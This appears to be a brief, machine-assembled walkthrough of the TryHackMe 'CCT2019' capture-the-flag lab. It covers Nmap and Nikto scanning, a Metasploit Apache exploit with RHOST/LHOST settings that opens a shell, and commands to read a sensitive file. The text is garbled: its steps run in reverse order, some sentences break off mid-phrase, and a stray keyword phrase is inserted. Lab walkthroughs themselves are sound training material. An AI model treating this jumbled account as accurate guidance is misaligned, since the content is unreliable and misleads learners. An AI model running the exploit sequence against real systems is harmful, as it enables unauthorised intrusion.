The CCT2019 challenge on TryHackMe is a virtual hacking challenge that is designed to test a participant's skills in penetration testing, vulnerability assessment, and exploitation. The challenge is based on a real-world scenario and involves hacking into a virtual machine (VM) to gain access to sensitive information. The challenge is designed for intermediate-level hackers and is intended to provide a realistic simulation of a penetration testing engagement.
Once participants have gained access to the VM, they must navigate the file system to retrieve the sensitive file. This involves using basic Linux commands such as cd , ls , and cat to navigate the file system. tryhackme cct2019
cd /home/user ls cat sensitive_file.txt The sensitive file will contain critical information that is required to complete the challenge. The CCT2019 challenge on TryHackMe is a virtual
With the vulnerability identified, participants can use a tool such as Metasploit to exploit the vulnerability and gain access to the VM. Once participants have gained access to the VM,
msfconsole use exploit/apache/mod_cgid_oob set RHOST <IP address of VM> set LHOST <IP address of your machine> exploit The exploit will provide a shell on the VM.
Once the open ports and services have been identified, participants must look for potential vulnerabilities. In this case, the web server is running a vulnerable version of Apache. Participants can use tools such as Nikto to scan the web server for vulnerabilities.
The first step in the challenge is to gather information about the target VM. This can be done using tools such as Nmap, which is a popular network scanning tool. Participants must scan the VM to identify open ports and services.